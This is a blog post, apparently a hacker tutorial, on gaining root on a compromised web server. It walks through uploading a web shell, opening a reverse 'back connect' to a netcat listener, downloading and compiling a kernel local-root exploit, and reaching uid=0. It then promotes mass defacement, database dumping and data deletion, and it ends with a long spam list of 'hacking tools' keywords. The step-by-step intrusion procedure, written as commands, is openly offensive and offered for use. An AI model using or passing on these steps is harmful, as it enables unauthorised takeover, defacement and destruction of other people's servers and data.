Thursday, January 18, 2024

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.
More info
  1. Hacking Tools Mac
  2. Best Hacking Tools 2020
  3. Free Pentest Tools For Windows
  4. Hackrf Tools
  5. Wifi Hacker Tools For Windows
  6. Hacker Tools Mac
  7. Hack Rom Tools
  8. Pentest Automation Tools
  9. Github Hacking Tools
  10. Hacker Tools Github
  11. Hacking Tools 2019
  12. Growth Hacker Tools
  13. Hacking Tools Name
  14. Nsa Hacker Tools
  15. Pentest Tools Linux
  16. Hack Tools For Windows
  17. How To Install Pentest Tools In Ubuntu
  18. Hacking Tools For Windows Free Download
  19. Hack Tools For Pc
  20. Beginner Hacker Tools
  21. Hacking Tools Windows
  22. Hacking Tools Usb
  23. Pentest Tools
  24. Best Hacking Tools 2020
  25. Best Pentesting Tools 2018
  26. Hacker
  27. Hack Tools For Ubuntu
  28. Hacking Tools For Beginners
  29. Hacker Tools Apk Download
  30. Pentest Tools Windows
  31. Hacker Tools Software
  32. Hak5 Tools
  33. Hacking Tools Name
  34. Hacking Tools Software
  35. Computer Hacker
  36. Hacking Tools For Pc
  37. Pentest Tools For Android
  38. Hacker Tools List
  39. Computer Hacker
  40. Hacker Hardware Tools
  41. Github Hacking Tools
  42. Hacking Tools Free Download
  43. Pentest Tools Website Vulnerability
  44. Hacking Tools Usb
  45. Free Pentest Tools For Windows
  46. Hacking Tools For Windows 7
  47. Hacking Tools For Mac
  48. Hacking Tools 2020
  49. What Are Hacking Tools
  50. New Hack Tools
  51. Pentest Box Tools Download
  52. Hacker Tools 2020
  53. Hack Tools
  54. Hacker Tools For Pc
  55. Computer Hacker
  56. Underground Hacker Sites
  57. Tools 4 Hack
  58. Hacking Tools Windows 10
  59. Hacker Tools Free
  60. Black Hat Hacker Tools
  61. Hacker Tools Apk
  62. How To Hack
  63. Hacking Tools 2020
  64. Hacker Tools Software
  65. Pentest Automation Tools
  66. Nsa Hack Tools Download
  67. Hackers Toolbox
  68. How To Make Hacking Tools
  69. Hacker Tool Kit
  70. Hack Tools Download
  71. Hack Tools Pc
  72. How To Install Pentest Tools In Ubuntu
  73. Wifi Hacker Tools For Windows
  74. Hacker Tools 2020
  75. Pentest Recon Tools
  76. Easy Hack Tools
  77. Termux Hacking Tools 2019
  78. How To Hack
  79. How To Hack
  80. Pentest Reporting Tools
  81. Pentest Reporting Tools
  82. Hacking Tools Github
  83. Hack Tools
  84. Physical Pentest Tools
  85. Hacker Tools 2020
  86. Game Hacking
  87. Hacking Tools Software
  88. Pentest Automation Tools
  89. Wifi Hacker Tools For Windows
  90. How To Hack
  91. Hacking Tools 2019
  92. Hacker Tools Github
  93. Best Hacking Tools 2019
  94. Ethical Hacker Tools
  95. Hack Tools For Games
  96. Hack Tools Pc
  97. Hack Tools For Pc
  98. Github Hacking Tools
  99. Hacker Tools Free
  100. Hacker Tools Online
  101. Pentest Recon Tools
  102. Tools For Hacker
  103. Hacking Tools For Windows 7
  104. Hacker Tool Kit
  105. Hacker Tools
  106. Hack Tools Online
  107. Hacker Tools Free Download
  108. Hacking Tools Kit
  109. Hak5 Tools
  110. New Hack Tools
  111. Hacking Tools 2020
  112. Pentest Tools Tcp Port Scanner
  113. Usb Pentest Tools
  114. Hack Tools Online
  115. Blackhat Hacker Tools
  116. Hacking Tools For Pc
  117. Hacker Tools 2020
  118. Hack Tools Pc
  119. Hacker Tool Kit

No comments: